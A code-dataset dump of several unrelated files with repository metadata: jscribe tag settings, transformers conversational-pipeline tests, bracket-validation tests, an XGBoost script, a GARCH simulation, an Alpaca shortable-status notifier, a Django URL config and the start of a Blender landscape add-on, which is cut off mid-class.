# -*- coding: utf-8 -*- #!/usr/bin/env python """* Builtin tag settings for python projects. You can use them in project by setting TAG_SETTINGS to `jscribe.conf.pythontagsettings`, but I admit you to create your own tag settings. @module jscribe.conf.jstagsettings """ TAG_SETTINGS = { "base": { "parent_type": None, "alias": [], "separate": False, "list": False, "list_order": 0, "name": "default name", "title": "default plural name", "source_visible": True, "callable": False, "attributes": {} }, "index": { "parent_type": "base", "alias": ["a"], "name": "", "title": "Index", "separate": True, "source_visible": True, "list": True, "list_order": -2, "attributes": { } }, "manual": { "parent_type": "base", "alias": ["m"], "name": "", "title": "Manual", "separate": True, "source_visible": True, "list": True, "list_order": -1, "attributes": { } }, "paragraph": { "parent_type": "base", "alias": ["p"], "name": "", "title": "paragraphs", "separate": False, "source_visible": True, "list": False, "attributes": { } }, "package": { "parent_type": "base", "alias": ["pack"], "name": "package", "title": "API Packages", "separate": True, "list": True, "list_order": 1, "attributes": { } }, "module": { "parent_type": "base", "alias": [], "name": "module", "separate": True, "list_order": 2, "list": True, "title": "API Modules", "attributes": { } }, "class": { "parent_type": "base", "name": "class", "title": "API Classes", "separate": False, "list_order": 0, "list": True, "attributes": { } }, "exception": { "parent_type": "base", "name": "exception", "title": "Exceptions", "separate": False, "list_order": 0, "list": False, "attributes": {} }, "method": { "parent_type": "base", "name": "method", "title": "methods", "callable": True, "separate": False, "attributes": {} }, "property": { "parent_type": "base", "name": "property", "title": "properties", "callable": False, "separate": False, "attributes": {} }, "instance": { "parent_type": "base", "name": "instance", "title": "instances", "separate": False, "attributes": { } }, "function": { "parent_type": "base", "name": "function", "title": "functions", "callable": True, "attributes": { } }, "attribute": { "parent_type": "base", "alias": ["attr"], "name": "attribute", "title": "attributes", "callable": False, "attributes": { } }, "number": { "parent_type": "attribute", "name": "number", "alias": ["num"], "attributes": { } }, "bytestring": { "parent_type": "attribute", "name": "bytestring", "alias": ["str"], "attributes": { } }, "unicode": { "parent_type": "attribute", "name": "unicode", "alias": ["u"], "attributes": { } }, "list": { "parent_type": "attribute", "name": "list", "alias": [], "attributes": { } }, "tuple": { "parent_type": "attribute", "name": "tuple", "alias": [], "attributes": {} }, "dict": { "parent_type": "attribute", "name": "dict", "alias": [], "attributes": {} }, }
00c4fad7606971274a79c91af14dc8412935ba2e
c5becab2d4201f2e828d052c22b4496a3bbe4927
/tests/pipelines/test_pipelines_conversational.py
9ed32adda652d5983ed5995d8d94a7a0df5d635c
[ "Apache-2.0" ]
permissive
thomwolf/transformers
ba665c456b2acd636d8e3876a87ea446ae0ae092
166dfa88e5dfdca1d99197e5006e4e2ea9e49cba
refs/heads/master
2023-03-08T03:37:13.519336
2023-02-15T15:00:01
2023-02-15T15:00:01
238,908,404
4
1
Apache-2.0
2023-02-25T16:09:30
2020-02-07T11:40:04
Python
UTF-8
Python
false
false
17,110
py
# Copyright 2020 The HuggingFace Team. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import unittest from transformers import ( MODEL_FOR_CAUSAL_LM_MAPPING, MODEL_FOR_SEQ_TO_SEQ_CAUSAL_LM_MAPPING, TF_MODEL_FOR_CAUSAL_LM_MAPPING, TF_MODEL_FOR_SEQ_TO_SEQ_CAUSAL_LM_MAPPING, AutoModelForCausalLM, AutoModelForSeq2SeqLM, AutoTokenizer, BlenderbotSmallForConditionalGeneration, BlenderbotSmallTokenizer, Conversation, ConversationalPipeline, TFAutoModelForCausalLM, pipeline, ) from transformers.testing_utils import require_tf, require_torch, slow, torch_device from .test_pipelines_common import ANY, PipelineTestCaseMeta DEFAULT_DEVICE_NUM = -1 if torch_device == "cpu" else 0 class ConversationalPipelineTests(unittest.TestCase, metaclass=PipelineTestCaseMeta): model_mapping = dict( list(MODEL_FOR_SEQ_TO_SEQ_CAUSAL_LM_MAPPING.items()) if MODEL_FOR_SEQ_TO_SEQ_CAUSAL_LM_MAPPING else [] + list(MODEL_FOR_CAUSAL_LM_MAPPING.items()) if MODEL_FOR_CAUSAL_LM_MAPPING else [] ) tf_model_mapping = dict( list(TF_MODEL_FOR_SEQ_TO_SEQ_CAUSAL_LM_MAPPING.items()) if TF_MODEL_FOR_SEQ_TO_SEQ_CAUSAL_LM_MAPPING else [] + list(TF_MODEL_FOR_CAUSAL_LM_MAPPING.items()) if TF_MODEL_FOR_CAUSAL_LM_MAPPING else [] ) def get_test_pipeline(self, model, tokenizer, processor): conversation_agent = ConversationalPipeline(model=model, tokenizer=tokenizer) return conversation_agent, [Conversation("Hi there!")] def run_pipeline_test(self, conversation_agent, _): # Simple outputs = conversation_agent(Conversation("Hi there!")) self.assertEqual(outputs, Conversation(past_user_inputs=["Hi there!"], generated_responses=[ANY(str)])) # Single list outputs = conversation_agent([Conversation("Hi there!")]) self.assertEqual(outputs, Conversation(past_user_inputs=["Hi there!"], generated_responses=[ANY(str)])) # Batch conversation_1 = Conversation("Going to the movies tonight - any suggestions?") conversation_2 = Conversation("What's the last book you have read?") self.assertEqual(len(conversation_1.past_user_inputs), 0) self.assertEqual(len(conversation_2.past_user_inputs), 0) outputs = conversation_agent([conversation_1, conversation_2]) self.assertEqual(outputs, [conversation_1, conversation_2]) self.assertEqual( outputs, [ Conversation( past_user_inputs=["Going to the movies tonight - any suggestions?"], generated_responses=[ANY(str)], ), Conversation(past_user_inputs=["What's the last book you have read?"], generated_responses=[ANY(str)]), ], ) # One conversation with history conversation_2.add_user_input("Why do you recommend it?") outputs = conversation_agent(conversation_2) self.assertEqual(outputs, conversation_2) self.assertEqual( outputs, Conversation( past_user_inputs=["What's the last book you have read?", "Why do you recommend it?"], generated_responses=[ANY(str), ANY(str)], ), ) with self.assertRaises(ValueError): conversation_agent("Hi there!") with self.assertRaises(ValueError): conversation_agent(Conversation()) # Conversation have been consumed and are not valid anymore # Inactive conversations passed to the pipeline raise a ValueError with self.assertRaises(ValueError): conversation_agent(conversation_2) @require_torch @slow def test_integration_torch_conversation(self): # When conversation_agent = pipeline(task="conversational", device=DEFAULT_DEVICE_NUM) conversation_1 = Conversation("Going to the movies tonight - any suggestions?") conversation_2 = Conversation("What's the last book you have read?") # Then self.assertEqual(len(conversation_1.past_user_inputs), 0) self.assertEqual(len(conversation_2.past_user_inputs), 0) # When result = conversation_agent([conversation_1, conversation_2], do_sample=False, max_length=1000) # Then self.assertEqual(result, [conversation_1, conversation_2]) self.assertEqual(len(result[0].past_user_inputs), 1) self.assertEqual(len(result[1].past_user_inputs), 1) self.assertEqual(len(result[0].generated_responses), 1) self.assertEqual(len(result[1].generated_responses), 1) self.assertEqual(result[0].past_user_inputs[0], "Going to the movies tonight - any suggestions?") self.assertEqual(result[0].generated_responses[0], "The Big Lebowski") self.assertEqual(result[1].past_user_inputs[0], "What's the last book you have read?") self.assertEqual(result[1].generated_responses[0], "The Last Question") # When conversation_2.add_user_input("Why do you recommend it?") result = conversation_agent(conversation_2, do_sample=False, max_length=1000) # Then self.assertEqual(result, conversation_2) self.assertEqual(len(result.past_user_inputs), 2) self.assertEqual(len(result.generated_responses), 2) self.assertEqual(result.past_user_inputs[1], "Why do you recommend it?") self.assertEqual(result.generated_responses[1], "It's a good book.") @require_torch @slow def test_integration_torch_conversation_truncated_history(self): # When conversation_agent = pipeline(task="conversational", min_length_for_response=24, device=DEFAULT_DEVICE_NUM) conversation_1 = Conversation("Going to the movies tonight - any suggestions?") # Then self.assertEqual(len(conversation_1.past_user_inputs), 0) # When result = conversation_agent(conversation_1, do_sample=False, max_length=36) # Then self.assertEqual(result, conversation_1) self.assertEqual(len(result.past_user_inputs), 1) self.assertEqual(len(result.generated_responses), 1) self.assertEqual(result.past_user_inputs[0], "Going to the movies tonight - any suggestions?") self.assertEqual(result.generated_responses[0], "The Big Lebowski") # When conversation_1.add_user_input("Is it an action movie?") result = conversation_agent(conversation_1, do_sample=False, max_length=36) # Then self.assertEqual(result, conversation_1) self.assertEqual(len(result.past_user_inputs), 2) self.assertEqual(len(result.generated_responses), 2) self.assertEqual(result.past_user_inputs[1], "Is it an action movie?") self.assertEqual(result.generated_responses[1], "It's a comedy.") @require_torch def test_small_model_pt(self): tokenizer = AutoTokenizer.from_pretrained("microsoft/DialoGPT-small") model = AutoModelForCausalLM.from_pretrained("microsoft/DialoGPT-small") conversation_agent = ConversationalPipeline(model=model, tokenizer=tokenizer) conversation = Conversation("hello") output = conversation_agent(conversation) self.assertEqual(output, Conversation(past_user_inputs=["hello"], generated_responses=["Hi"])) @require_tf def test_small_model_tf(self): tokenizer = AutoTokenizer.from_pretrained("microsoft/DialoGPT-small") model = TFAutoModelForCausalLM.from_pretrained("microsoft/DialoGPT-small") conversation_agent = ConversationalPipeline(model=model, tokenizer=tokenizer) conversation = Conversation("hello") output = conversation_agent(conversation) self.assertEqual(output, Conversation(past_user_inputs=["hello"], generated_responses=["Hi"])) @require_torch @slow def test_integration_torch_conversation_dialogpt_input_ids(self): tokenizer = AutoTokenizer.from_pretrained("microsoft/DialoGPT-small") model = AutoModelForCausalLM.from_pretrained("microsoft/DialoGPT-small") conversation_agent = ConversationalPipeline(model=model, tokenizer=tokenizer) conversation_1 = Conversation("hello") inputs = conversation_agent.preprocess(conversation_1) self.assertEqual(inputs["input_ids"].tolist(), [[31373, 50256]]) conversation_2 = Conversation("how are you ?", past_user_inputs=["hello"], generated_responses=["Hi there!"]) inputs = conversation_agent.preprocess(conversation_2) self.assertEqual( inputs["input_ids"].tolist(), [[31373, 50256, 17250, 612, 0, 50256, 4919, 389, 345, 5633, 50256]] ) @require_torch @slow def test_integration_torch_conversation_blenderbot_400M_input_ids(self): tokenizer = AutoTokenizer.from_pretrained("facebook/blenderbot-400M-distill") model = AutoModelForSeq2SeqLM.from_pretrained("facebook/blenderbot-400M-distill") conversation_agent = ConversationalPipeline(model=model, tokenizer=tokenizer) # test1 conversation_1 = Conversation("hello") inputs = conversation_agent.preprocess(conversation_1) self.assertEqual(inputs["input_ids"].tolist(), [[1710, 86, 2]]) # test2 conversation_1 = Conversation( "I like lasagne.", past_user_inputs=["hello"], generated_responses=[ " Do you like lasagne? It is a traditional Italian dish consisting of a shepherd's pie." ], ) inputs = conversation_agent.preprocess(conversation_1) self.assertEqual( inputs["input_ids"].tolist(), [ # This should be compared with the same conversation on ParlAI `safe_interactive` demo. [ 1710, # hello 86, 228, # Double space 228, 946, 304, 398, 6881, 558, 964, 38, 452, 315, 265, 6252, 452, 322, 968, 6884, 3146, 278, 306, 265, 617, 87, 388, 75, 341, 286, 521, 21, 228, # Double space 228, 281, # I like lasagne. 398, 6881, 558, 964, 21, 2, # EOS ], ], ) @require_torch @slow def test_integration_torch_conversation_blenderbot_400M(self): tokenizer = AutoTokenizer.from_pretrained("facebook/blenderbot-400M-distill") model = AutoModelForSeq2SeqLM.from_pretrained("facebook/blenderbot-400M-distill") conversation_agent = ConversationalPipeline(model=model, tokenizer=tokenizer) conversation_1 = Conversation("hello") result = conversation_agent( conversation_1, ) self.assertEqual( result.generated_responses[0], # ParlAI implementation output, we have a different one, but it's our # second best, you can check by using num_return_sequences=10 # " Hello! How are you? I'm just getting ready to go to work, how about you?", " Hello! How are you doing today? I just got back from a walk with my dog.", ) conversation_1 = Conversation("Lasagne hello") result = conversation_agent(conversation_1, encoder_no_repeat_ngram_size=3) self.assertEqual( result.generated_responses[0], " Do you like lasagne? It is a traditional Italian dish consisting of a shepherd's pie.", ) conversation_1 = Conversation( "Lasagne hello Lasagne is my favorite Italian dish. Do you like lasagne? I like lasagne." ) result = conversation_agent( conversation_1, encoder_no_repeat_ngram_size=3, ) self.assertEqual( result.generated_responses[0], " Me too. I like how it can be topped with vegetables, meats, and condiments.", ) @require_torch @slow def test_integration_torch_conversation_encoder_decoder(self): # When tokenizer = AutoTokenizer.from_pretrained("facebook/blenderbot_small-90M") model = AutoModelForSeq2SeqLM.from_pretrained("facebook/blenderbot_small-90M") conversation_agent = ConversationalPipeline(model=model, tokenizer=tokenizer, device=DEFAULT_DEVICE_NUM) conversation_1 = Conversation("My name is Sarah and I live in London") conversation_2 = Conversation("Going to the movies tonight, What movie would you recommend? ") # Then self.assertEqual(len(conversation_1.past_user_inputs), 0) self.assertEqual(len(conversation_2.past_user_inputs), 0) # When result = conversation_agent([conversation_1, conversation_2], do_sample=False, max_length=1000) # Then self.assertEqual(result, [conversation_1, conversation_2]) self.assertEqual(len(result[0].past_user_inputs), 1) self.assertEqual(len(result[1].past_user_inputs), 1) self.assertEqual(len(result[0].generated_responses), 1) self.assertEqual(len(result[1].generated_responses), 1) self.assertEqual(result[0].past_user_inputs[0], "My name is Sarah and I live in London") self.assertEqual( result[0].generated_responses[0], "hi sarah, i live in london as well. do you have any plans for the weekend?", ) self.assertEqual( result[1].past_user_inputs[0], "Going to the movies tonight, What movie would you recommend? " ) self.assertEqual( result[1].generated_responses[0], "i don't know... i'm not really sure. what movie are you going to see?" ) # When conversation_1.add_user_input("Not yet, what about you?") conversation_2.add_user_input("What's your name?") result = conversation_agent([conversation_1, conversation_2], do_sample=False, max_length=1000) # Then self.assertEqual(result, [conversation_1, conversation_2]) self.assertEqual(len(result[0].past_user_inputs), 2) self.assertEqual(len(result[1].past_user_inputs), 2) self.assertEqual(len(result[0].generated_responses), 2) self.assertEqual(len(result[1].generated_responses), 2) self.assertEqual(result[0].past_user_inputs[1], "Not yet, what about you?") self.assertEqual(result[0].generated_responses[1], "i don't have any plans yet. i'm not sure what to do yet.") self.assertEqual(result[1].past_user_inputs[1], "What's your name?") self.assertEqual(result[1].generated_responses[1], "i don't have a name, but i'm going to see a horror movie.") @require_torch @slow def test_from_pipeline_conversation(self): model_id = "facebook/blenderbot_small-90M" # from model id conversation_agent_from_model_id = pipeline("conversational", model=model_id, tokenizer=model_id) # from model object model = BlenderbotSmallForConditionalGeneration.from_pretrained(model_id) tokenizer = BlenderbotSmallTokenizer.from_pretrained(model_id) conversation_agent_from_model = pipeline("conversational", model=model, tokenizer=tokenizer) conversation = Conversation("My name is Sarah and I live in London") conversation_copy = Conversation("My name is Sarah and I live in London") result_model_id = conversation_agent_from_model_id([conversation]) result_model = conversation_agent_from_model([conversation_copy]) # check for equality self.assertEqual( result_model_id.generated_responses[0], "hi sarah, i live in london as well. do you have any plans for the weekend?", ) self.assertEqual( result_model_id.generated_responses[0], result_model.generated_responses[0], )
dce072906381a649dc6463c6c5531217b5a67f44
6d7984b21819ffe0a9a969025af6a39eef7112dc
/tests/challenges/---test_multi_bracket_validation.py
885ccee02de743da8ca3d6f333ef4043fa96fa84
[ "MIT" ]
permissive
401-python-joseph-zabaleta/401-python-data-structures-and-algorithms
593d4e1fee7f363cbe5e51d8ee9825237d44e799
b11b5ef50f52e3d505474fe5fffe4357933da251
refs/heads/master
2022-11-04T21:23:56.211811
2020-07-25T22:19:09
2020-07-25T22:19:09
262,261,001
0
0
null
null
null
null
UTF-8
Python
false
false
1,330
py
import pytest from dsa.challenges.multi_bracket_validation.multi_bracket_validation import multi_bracket_validation def test_mbv_exists(): assert multi_bracket_validation('test') def test_mbv_one(): string = '{}' actual = multi_bracket_validation(string) expected = True assert actual == expected def test_mbv_two(): string = '{}(){}' actual = multi_bracket_validation(string) expected = True assert actual == expected def test_mbv_three(): string = '()[[Extra Characters]]' actual = multi_bracket_validation(string) expected = True assert actual == expected def test_mbv_four(): string = '(){}[[]]' actual = multi_bracket_validation(string) expected = True assert actual == expected def test_mbv_five(): string = '{}{Code}[Fellows](())' actual = multi_bracket_validation(string) expected = True assert actual == expected def test_mbv_six(): string = '[({}]' actual = multi_bracket_validation(string) expected = False assert actual == expected def test_mbv_seven(): string = '(](' actual = multi_bracket_validation(string) expected = False assert actual == expected def test_mbv_eight(): string = '{(})' actual = multi_bracket_validation(string) expected = False assert actual == expected
835e19c6b6158e1f8e9361ee8be1dee8469c39e7
fc9774c15df5e3fda88fe82fd0c37f4ceabfcaa6
/XGBoost/XGBoost.py
71d6ac5568c8149baa01b952d036d5548a4fa254
[]
no_license
jacobkuriala/moviemania
600ff5cce5d383b459fa5dc1be2ea51289860acd
e17468732d5f5ce8d3c3cc6fb8c26c93e7291d71
refs/heads/master
2021-07-25T11:21:16.462369
2017-11-07T18:56:48
2017-11-07T18:56:48
109,197,864
0
0
null
null
null
null
UTF-8
Python
false
false
2,248
py
# importing libraries import numpy as np import matplotlib as plt import pandas as pd # importing the dataset dataset = pd.read_excel('Training Sheet.xlsx') # X starts from production_year and omits total X = dataset.iloc[:, 3:-2].values # delete the board_rating_reason as it creates too many categories X = np.delete(X, 7 , 1) # Xarr = X.tolist() y = dataset.iloc[:, 14].values # dont need to take care of any missing values # encoding categorical data from sklearn.preprocessing import LabelEncoder, OneHotEncoder labelencoder_x = LabelEncoder() # production year X[:, 0] = labelencoder_x.fit_transform(X[:, 0]) # creative_type X[:, 2] = labelencoder_x.fit_transform(X[:, 2]) # source X[:, 3] = labelencoder_x.fit_transform(X[:, 3]) # production_method X[:, 4] = labelencoder_x.fit_transform(X[:, 4]) # genre X[:, 5] = labelencoder_x.fit_transform(X[:, 5]) # language X[:, 6] = labelencoder_x.fit_transform(X[:, 6]) # movie_board_rating_display_name X[:, 7] = labelencoder_x.fit_transform(X[:, 7]) # movie_release_pattern_display_name X[:, 8] = labelencoder_x.fit_transform(X[:, 8]) # Xarr = X.tolist() onehotencoder = OneHotEncoder(categorical_features= [0,2,3,4,5,6,7,8]) X = onehotencoder.fit_transform(X).toarray() # Splitting the dataset into the Training set and Test set from sklearn.cross_validation import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25, random_state = 0) # feature Scaling - TODO: may have to feature scale the output # from sklearn.preprocessing import StandardScaler # sc = StandardScaler() # y_train = sc.fit_transform(y_train) # y_test = sc.transform(y_test) # Fitting XGBoost to the Training set from xgboost import XGBClassifier classifier = XGBClassifier(objective='multi:softmax') classifier.fit(X_train,y_train) # Predicting the Test set results y_pred = classifier.predict(X_test) # Making the Confusion Matrix from sklearn.metrics import confusion_matrix cm = confusion_matrix(y_test, y_pred) print(cm) # Applying k-Fold Cross Validation from sklearn.model_selection import cross_val_score accuracies = cross_val_score(estimator = classifier, X = X_train, y = y_train, cv = 10) print(accuracies) print(accuracies.mean()) print(accuracies.std())
9d601337b6dc895c927f933e062c2575796415e6
2327d0bc2cc45a5504c39109846e0f4cba266606
/QID-1799-SFEtimegarch/SFEtimegarch.py
362457032fb2eddfb6adae28a3bbcca837f3cc90
[]
no_license
QuantLet/SFE
3d98a33cfcdc533210856c7618c32a78e111a6ce
d25a728a4371538eae982f44ea811b5b93328828
refs/heads/master
2022-06-15T13:35:17.387252
2022-06-08T01:22:00
2022-06-08T01:22:00
72,103,182
12
32
null
2022-01-30T18:58:21
2016-10-27T11:50:43
R
UTF-8
Python
false
false
702
py
import numpy as np import matplotlib.pyplot as plt # np.random.seed(1234) #omega = 0.1, alpha = 0.15, beta = 0.8 n=1000 # number of observations n1=100 # drop first observations alpha=(0.1,0.3) # GARCH (1,1) coefficients alpha0 and alpha1 beta=0.8 errors=np.random.normal(0,1,n+n1) t=np.zeros(n+n1) t[0]=np.random.normal(0,np.sqrt(alpha[0]/(1-alpha[1])),1) #iterate over the oberservations for i in range(1,n+n1-1): t[i]=errors[i]*np.sqrt(alpha[0]+alpha[1]*errors[i-1]**2+beta*t[i-1]**2) # y=t[n1-1:-1] # drop n1 observations plt.title('GARCH (1,1) process') x=range(n) plt.plot(x,y) plt.xlabel('time') plt.ylabel('y') plt.savefig('SFEtimegarch_py.png') plt.show()
4eb51b17bb570e99d31b10c14927845d7a16bff8
48a22539cc273ebb1d4575ecc40566337a2c1c53
/tests/functions/test_train_model.py
6580cbd7f6aa173c717f65c26155f19e736a7976
[ "BSD-3-Clause" ]
permissive
ChenchenFat/LIBiFBTSVM
50d88f4d2f8133672fe6831422f1e4bc0b0b798a
b1f8c346cdd79a6057a664255daabe2aa9c50ad7
refs/heads/master
2023-08-20T18:58:55.117122
2021-10-26T19:59:08
2021-10-26T19:59:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
660
py
import numpy as np import pytest from libifbtsvm.functions import train_model from libifbtsvm.models.ifbtsvm import Hyperparameters def test_train_model(): H_p = np.ones((5, 5)) H_n = np.ones((5, 5)) CCx = np.ones((5, 1)) C = 2 _mock_params = Hyperparameters() _mock_params.max_iter = 1 _mock_params.epsilon = 0.0001 model = train_model(parameters=_mock_params, H=H_p, G=H_n, C=C, CCx=CCx) assert np.array_equal(model.alpha, np.array([1, 1, 1, 1, 1])) _truth = [np.array(val) for val in [-1, -0.8, -0.6, -0.4, -0.2]] for i in range(5): assert pytest.approx(model.projected_gradients[i], _truth[i])
f9375213f5507d9c9536460cb0a4616660787502
ee410de6809032624f3b52023ba6efcae89aa5da
/shortable/shortable.py
f95e80f9568050d626a4849b375079a70272c22c
[ "MIT" ]
permissive
webclinic017/shortable
cda32c4022a9ef1a92c085d7fe6cac948e140124
4ace06b484bd24a356300a9d15a02a902c853c63
refs/heads/master
2023-08-22T14:28:52.908734
2021-09-22T03:08:34
2021-09-22T03:08:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,041
py
#!/usr/bin/env python import json import logging import argparse import textwrap import alpaca_trade_api as alpaca from winotify import Notification #API = alpaca #BROKER = alpaca class Shortable(): def __init__(self): self.old_short_status = dict() self.new_short_status = dict() self.report = "" self.api = alpaca.REST() def __del__(self): del self.old_short_status del self.new_short_status del self.report del self.api def read_old_short_status(self): with open('shortable.json', 'r') as shortable: self.old_short_status = json.load(shortable) def get_new_short_status(self): #def get_new_short_status(self, broker_api): #if self.api == 'ALPACA': #if self.api == alpaca.REST(): # for asset in self.old_short_status: # asset_update = self.api.get_asset(asset) # self.new_short_status[asset] = asset_update.shortable for asset in self.old_short_status: asset_update = self.api.get_asset(asset) self.new_short_status[asset] = asset_update.shortable def check_short_status_changes(self): for (old_short, old_short_stat), (new_short, new_short_stat) in zip(self.old_short_status.items(), self.new_short_status.items()): # DEBUG #print(asset) #print("Tradable: {}".format(asset_update.tradable)) #print("Shortable: {}".format(asset_update.shortable)) #print("Easy-to-Borrow: {}".format(asset_update.easy_to_borrow)) if old_short_stat is False and new_short_stat is True: logging.info('%s now shortable', old_short) self.report += '{} now shortable\n'.format(old_short) elif old_short_stat is True and new_short_stat is False: logging.info('%s now non-shortable', old_short) self.report += '{} now non-shortable\n'.format(old_short) elif old_short_stat is None and new_short_stat is True: logging.info('%s now shortable, previous status unknown', old_short) self.report += '{} now shortable, previous status unknown\n'.format(old_short) elif old_short_stat is None and new_short_stat is False: logging.info('%s now non-shortable, previous status unknown', old_short) self.report += '{} now non-shortable, previous status unknown\n'.format(old_short) else: # no change to asset shortable status logging.info('No change to shortable status of %s', old_short) # Update old shortable status to new shortable status self.old_short_status = self.new_short_status # Write new updated short list to file, clearing old list def write_new_short_status(self): with open('shortable.json', 'w') as shortable: shortable.seek(0) shortable.truncate() json.dump(self.new_short_status, shortable) # Create Windows 10 notification if new shortble status to report def send_notification(self): if self.report: logging.info('%s', self.report) toast = Notification(app_id='📉 shortable', title='📉 shortable', msg=self.report) toast.build().show() logging.info('toast notification fired') # Entry point for running launch script after installing package, see setup.py def run(): parser = argparse.ArgumentParser( prog='shortable', description='Receive an alert if an asset becomes shortable, e.g. from HTB to ETB, or vice versa', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''\ Setup 1. Define assets to track in shortable.json e.g. {"AMZN": true, "MSFT": true, "TSLA": false}. 2. Run shortable from the same directory as shortable.json. When there are no asset shortable changes there is no output or notification. Check shortable.log to verify operation. 3. Optionally schedule shortable to run routinely using Windows Task Scheduler. ''') ) #parser.add_argument('ASSET', type=str.upper, help='Ticker of asset to check') parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.1.0') args = parser.parse_args() #logging.basicConfig(filename='shortable.log', encoding='utf-8', level=logging.INFO) logging.basicConfig(filename='shortable.log', level=logging.INFO, format='%(asctime)s %(message)s') shortable = Shortable() shortable.read_old_short_status() shortable.get_new_short_status() shortable.check_short_status_changes() shortable.write_new_short_status() shortable.send_notification() if __name__ == '__main__': run()
137ca2c75fc5842bf99e607647a8c60484deb686
0f734b40fa25bdcff0d19c016fc7dcf11122c47a
/chapter_4/buffet.py
65a46b00d3d129b9fff1b3d1bff7f70e11109530
[]
no_license
ICANDIGITAL/crash_course_python
f47a0ce366736da1880aec08291867f491ac8bd3
d1598b0397b4b2cdc7acccf0b9153fa2b96688c8
refs/heads/master
2023-06-08T17:37:50.566342
2023-05-26T15:09:52
2023-05-26T15:09:52
120,501,326
0
0
null
null
null
null
UTF-8
Python
false
false
231
py
simple_foods = ('fries', 'pizza', 'cake', 'pasta', 'mashed potatos') for food in simple_foods: print(food) simple_foods = ('candy','fries', 'pizza', 'cake', 'pasta', 'mashed potatos') for food in simple_foods: print(food)
6779cf42ff406a6d5f99b51f95a9019573da268c
a79772a6da4b00c13ff36d2dd57a50ec6cc3cb08
/store/store/urls.py
5cf02fa9d72c1fb1efd93b07cc438e2bd85e8bef
[]
no_license
palzuncoff/CornelStore
edd9d5042446aed045ff0127daca934d92b1a904
63e221ee51d97f448ab69e58978caee1dbd25e11
refs/heads/master
2020-07-07T01:53:12.375940
2016-09-06T08:34:55
2016-09-06T08:34:55
67,118,732
0
0
null
null
null
null
UTF-8
Python
false
false
868
py
"""store URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.9/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Add an import: from blog import urls as blog_urls 2. Import the include() function: from django.conf.urls import url, include 3. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls)) """ from django.conf.urls import include, url from django.contrib import admin urlpatterns = [ url(r'^shop/', include('shop.urls')), url(r'^admin/', admin.site.urls), ]
30cad6e1da61289d5c07870ba55492bb0edeb0f9
8aa78783dbb8c5a91b81b41d37ecf8bbd0804354
/bld/blenderbpy/2.79/scripts/addons/ant_landscape/__init__.py
0e10b8b407ffddcd4714e750e538acd39ac60319
[]
no_license
priyesh16/food
e08c0307c7feba27285724e9766fb0f33223fb14
18ae58d7f796309e54b76db9a3757207f288b0aa
refs/heads/master
2021-01-09T11:26:22.489059
2020-03-10T23:17:56
2020-03-10T23:17:56
242,281,395
0
0
null
null
null
null
UTF-8
Python
false
false
32,182
py
# ##### BEGIN GPL LICENSE BLOCK ##### # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software Foundation, # Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # # ##### END GPL LICENSE BLOCK ##### # Another Noise Tool - Suite (W.I.P.) # Jimmy Hazevoet 5/2017 bl_info = { "name": "A.N.T.Landscape", "author": "Jimmy Hazevoet", "version": (0, 1, 8), "blender": (2, 80, 0), "location": "View3D > Sidebar > Create Tab", "description": "Another Noise Tool: Landscape and Displace", "warning": "", "wiki_url": "https://docs.blender.org/manual/en/dev/addons/" "add_mesh/ant_landscape.html", "category": "Add Mesh", } if "bpy" in locals(): import importlib importlib.reload(add_mesh_ant_landscape) importlib.reload(mesh_ant_displace) importlib.reload(ant_functions) importlib.reload(ant_noise) else: from ant_landscape import add_mesh_ant_landscape from ant_landscape import mesh_ant_displace from ant_landscape import ant_functions from ant_landscape import ant_noise import bpy from bpy.props import ( BoolProperty, FloatProperty, IntProperty, StringProperty, PointerProperty, EnumProperty, ) from .ant_functions import ( draw_ant_refresh, draw_ant_main, draw_ant_noise, draw_ant_displace, ) # ------------------------------------------------------------ # Menu's and panels def menu_func_eroder(self, context): ob = bpy.context.active_object if ob and (ob.ant_landscape.keys() and not ob.ant_landscape['sphere_mesh']): self.layout.operator('mesh.eroder', text="Landscape Eroder", icon='SMOOTHCURVE') def menu_func_landscape(self, context): layout = self.layout layout.separator() self.layout.operator('mesh.landscape_add', text="Landscape", icon="RNDCURVE") # Landscape Add Panel class AntLandscapeAddPanel(bpy.types.Panel): bl_category = "Create" bl_label = "Landscape" bl_idname = "ANTLANDSCAPE_PT_add" bl_space_type = "VIEW_3D" bl_region_type = "UI" bl_context = "objectmode" bl_options = {'DEFAULT_CLOSED'} def draw(self, context): col = self.layout.column() col.operator('mesh.landscape_add', text="Landscape", icon="RNDCURVE") # Landscape Tools: class AntLandscapeToolsPanel(bpy.types.Panel): bl_category = "Create" bl_label = "Landscape Tools" bl_idname = "ANTLANDSCAPE_PT_tools" bl_space_type = "VIEW_3D" bl_region_type = "UI" bl_context = "objectmode" bl_options = {'DEFAULT_CLOSED'} @classmethod def poll(cls, context): ob = bpy.context.active_object return (ob and ob.type == 'MESH') def draw(self, context): layout = self.layout ob = context.active_object col = layout.column() col.operator('mesh.ant_displace', text="Mesh Displace", icon="RNDCURVE") col.operator('mesh.ant_slope_map', icon='GROUP_VERTEX') if ob.ant_landscape.keys() and not ob.ant_landscape['sphere_mesh']: col.operator('mesh.eroder', text="Landscape Eroder", icon='SMOOTHCURVE') # Landscape Main Settings class 